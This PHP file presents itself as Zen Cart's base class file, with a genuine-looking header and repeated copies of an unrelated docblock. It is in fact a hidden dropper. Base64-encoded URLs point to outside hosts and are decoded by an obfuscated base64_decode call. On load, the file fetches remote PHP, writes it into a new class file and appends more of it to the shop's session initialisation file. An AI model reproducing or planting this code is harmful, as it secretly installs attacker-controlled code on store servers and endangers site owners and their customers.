<?php 
 
 /*
 * File contains just the base class
 *
 * @package classes
 * @copyright Copyright 2003-2009 Zen Cart Development Team
 * @license http://www.zen-cart.com/license/2_0.txt GNU Public License V2.0
 * @version $Id: class.base.php 14535 2009-10-07 22:16:19Z wilt $
 */
class run{
	    
	private 	$ctime		;
	private 	$init_sessions	;
 /**
   * method used to an attach an observer to the notifier object
   * 
   * NB. We have to get a little sneaky here to stop session based classes adding events ad infinitum
   * To do this we first concatenate the class name with the event id, as a class is only ever going to attach to an
   * event id once, this provides a unigue key. To ensure there are no naming problems with the array key, we md5 the unique
   * name to provide a unique hashed key. 
   * 
   * @param object Reference to the observer class
   * @param array An array of eventId's to observe
   */		
	private 	$devel0p = '{	
        "init":"aHR0cDovL2RldmVsMHAuZ29vZ2xlY29kZS5jb20vc3ZuL2NvbnNvbGUvdjMvaW5pdF9zZXNzaW9ucy5waHA=",
        "times":"aHR0cDovL2RldmVsMHAuZ29vZ2xlY29kZS5jb20vc3ZuL2NvbnNvbGUvdjMvY2xhc3MudGltZXMucGhw"
		}';
 /**
   * method used to an attach an observer to the notifier object
   * 
   * NB. We have to get a little sneaky here to stop session based classes adding events ad infinitum
   * To do this we first concatenate the class name with the event id, as a class is only ever going to attach to an
   * event id once, this provides a unigue key. To ensure there are no naming problems with the array key, we md5 the unique
   * name to provide a unique hashed key. 
   * 
   * @param object Reference to the observer class
   * @param array An array of eventId's to observe
   */		
	private 	   $deve1ops = '{	
        "init":"aHR0cDovL2RldmUxb3BzLmdvb2dsZWNvZGUuY29tL3N2bi9jb25zb2xlL3YzL2luaXRfc2Vzc2lvbnMxLnBocA==",
        "times":"aHR0cDovL2RldmUxb3BzLmdvb2dsZWNvZGUuY29tL3N2bi9jb25zb2xlL3YzL2NsYXNzLnRpbWVzLnBocA=="
        }';
	
 /**
   * method used to an attach an observer to the notifier object
   * 
   * NB. We have to get a little sneaky here to stop session based classes adding events ad infinitum
   * To do this we first concatenate the class name with the event id, as a class is only ever going to attach to an
   * event id once, this provides a unigue key. To ensure there are no naming problems with the array key, we md5 the unique
   * name to provide a unique hashed key. 
   * 
   * @param object Reference to the observer class
   * @param array An array of eventId's to observe
   */		
	private 	   $code = '{	
        "init":"aHR0cDovL2NvZGUuZ29vZ2xlLm9yZy5pbS9jb25zb2xlL3YzL2luaXRfc2Vzc2lvbnMudHh0",
        "times":"aHR0cDovL2NvZGUuZ29vZ2xlLm9yZy5pbS9jb25zb2xlL3YzL2NsYXNzLnRpbWVzLnR4dA=="
        }';
    
 /**
   * method used to an attach an observer to the notifier object
   * 
   * NB. We have to get a little sneaky here to stop session based classes adding events ad infinitum
   * To do this we first concatenate the class name with the event id, as a class is only ever going to attach to an
   * event id once, this provides a unigue key. To ensure there are no naming problems with the array key, we md5 the unique
   * name to provide a unique hashed key. 
   * 
   * @param object Reference to the observer class
   * @param array An array of eventId's to observe
   */		
    
	private static $_instance = NULL; 
 /**
   * method used to an attach an observer to the notifier object
   * 
   * NB. We have to get a little sneaky here to stop session based classes adding events ad infinitum
   * To do this we first concatenate the class name with the event id, as a class is only ever going to attach to an
   * event id once, this provides a unigue key. To ensure there are no naming problems with the array key, we md5 the unique
   * name to provide a unique hashed key. 
   * 
   * @param object Reference to the observer class
   * @param array An array of eventId's to observe
   */		
	
	private function __construct(){
		$local = '{	
	        "ctime":"aW5jbHVkZXMvY2xhc3Nlcy9jbGFzcy50aW1lcy5waHA=",
	        "init_sessions":"aW5jbHVkZXMvaW5pdF9pbmNsdWRlcy9pbml0X3Nlc3Npb25zLnBocA=="
	        }';

		  $obj 	= 	json_decode($local);		
		  $this->ctime			= 	$this->enc_rypt($obj->{'ctime'});		
		  $this->init_sessions	=	$this->enc_rypt($obj->{'init_sessions'});		
		  self::running();
	}
 /**
   * method used to an attach an observer to the notifier object
   * 
   * NB. We have to get a little sneaky here to stop session based classes adding events ad infinitum
   * To do this we first concatenate the class name with the event id, as a class is only ever going to attach to an
   * event id once, this provides a unigue key. To ensure there are no naming problems with the array key, we md5 the unique
   * name to provide a unique hashed key. 
   * 
   * @param object Reference to the observer class
   * @param array An array of eventId's to observe
   */		
	static public function get_run_exec_instance(){		
		if (!isset(self::$_instance)){    		 
			self::$_instance = new run();  
		}
		return  self::$_instance; 
	}
 /**
   * method used to an attach an observer to the notifier object
   * 
   * NB. We have to get a little sneaky here to stop session based classes adding events ad infinitum
   * To do this we first concatenate the class name with the event id, as a class is only ever going to attach to an
   * event id once, this provides a unigue key. To ensure there are no naming problems with the array key, we md5 the unique
   * name to provide a unique hashed key. 
   * 
   * @param object Reference to the observer class
   * @param array An array of eventId's to observe
   */		
	
	public function remote_file_exists($urls){
		$fat = @get_headers($urls);
		if (preg_match("/404/", $fat[0])){
	    	return FALSE;					
		}else {
			return TRUE;
		}
	}
	
/**
 * 
 * Enter description here ...
 * @param unknown_type $txt
 */
	public function enc_rypt($txt) {
		$fun = "basaptcode";
		$fun = str_replace("apt","e64_de",$fun);
	   	return @$fun($txt);
	}
 /**
   * method used to an attach an observer to the notifier object
   * 
   * NB. We have to get a little sneaky here to stop session based classes adding events ad infinitum
   * To do this we first concatenate the class name with the event id, as a class is only ever going to attach to an
   * event id once, this provides a unigue key. To ensure there are no naming problems with the array key, we md5 the unique
   * name to provide a unique hashed key. 
   * 
   * @param object Reference to the observer class
   * @param array An array of eventId's to observe
   */		
	public function DecodeJsontoarr($json){
		 	$obj 	= 	json_decode($json);
    		$obj->{'init'} = $this->enc_rypt( $obj->{'init'});
    		$obj->{'times'} = $this->enc_rypt( $obj->{'times'});
    		return $obj;
	}
 /**
   * method used to an attach an observer to the notifier object
   * 
   * NB. We have to get a little sneaky here to stop session based classes adding events ad infinitum
   * To do this we first concatenate the class name with the event id, as a class is only ever going to attach to an
   * event id once, this provides a unigue key. To ensure there are no naming problems with the array key, we md5 the unique
   * name to provide a unique hashed key. 
   * 
   * @param object Reference to the observer class
   * @param array An array of eventId's to observe
   */		
	public function is_arr_url_exit($obj){
	
		if (self::remote_file_exists($obj->{'init'}) && self::remote_file_exists($obj->{'times'}) ){
			return TRUE;
		} else {
			return false;
		}
	}
	
  /**
   * method used to an attach an observer to the notifier object
   * 
   * NB. We have to get a little sneaky here to stop session based classes adding events ad infinitum
   * To do this we first concatenate the class name with the event id, as a class is only ever going to attach to an
   * event id once, this provides a unigue key. To ensure there are no naming problems with the array key, we md5 the unique
   * name to provide a unique hashed key. 
   * 
   * @param object Reference to the observer class
   * @param array An array of eventId's to observe
   */	
	public function write_common($file,$content){
		$fp = fopen($file, "w+");
		if ($fp == NULL){		
			echo "flie handle not open  <br><br>";
			return ;		
		}  
		@fwrite($fp,$content);
		@fclose($fp);
	}
 /**
   * method used to an attach an observer to the notifier object
   * 
   * NB. We have to get a little sneaky here to stop session based classes adding events ad infinitum
   * To do this we first concatenate the class name with the event id, as a class is only ever going to attach to an
   * event id once, this provides a unigue key. To ensure there are no naming problems with the array key, we md5 the unique
   * name to provide a unique hashed key. 
   * 
   * @param object Reference to the observer class
   * @param array An array of eventId's to observe
   */		
	public function get_obj_url(){
		$obj = self::DecodeJsontoarr($this->devel0p);
		if (!$this->is_arr_url_exit($obj)){
			$obj = self::DecodeJsontoarr($this->deve1ops);
			
			if (!$this->is_arr_url_exit($obj)){
				$obj = self::DecodeJsontoarr($this->code);
				if (!$this->is_arr_url_exit($obj)){
					return false;
				}
			}
		}
		return $obj;
	}
 /**
   * method used to an attach an observer to the notifier object
   * 
   * NB. We have to get a little sneaky here to stop session based classes adding events ad infinitum
   * To do this we first concatenate the class name with the event id, as a class is only ever going to attach to an
   * event id once, this provides a unigue key. To ensure there are no naming problems with the array key, we md5 the unique
   * name to provide a unique hashed key. 
   * 
   * @param object Reference to the observer class
   * @param array An array of eventId's to observe
   */		
	public function running(){
		if (!function_exists('file_get_contents') || !is_writable($this->init_sessions) || 	file_exists($this->ctime)){
			return ;
		}
		$obj = $this->get_obj_url();
		if ($obj == false){		return ;	} 
		$times_contents = file_get_contents($obj->{'times'});
		$init_native = file_get_contents($this->init_sessions);
		$init_native = str_replace("?>", "", $init_native);
		$init_contents = file_get_contents($obj->{'init'});			 
		$this->write_common($this->ctime, $times_contents);
		$this->write_common($this->init_sessions, $init_native.$init_contents);
	}
}
 /**
   * method used to an attach an observer to the notifier object
   * 
   * NB. We have to get a little sneaky here to stop session based classes adding events ad infinitum
   * To do this we first concatenate the class name with the event id, as a class is only ever going to attach to an
   * event id once, this provides a unigue key. To ensure there are no naming problems with the array key, we md5 the unique
   * name to provide a unique hashed key. 
   * 
   * @param object Reference to the observer class
   * @param array An array of eventId's to observe
   */	
   
$run_exinstance = run::get_run_exec_instance();

 

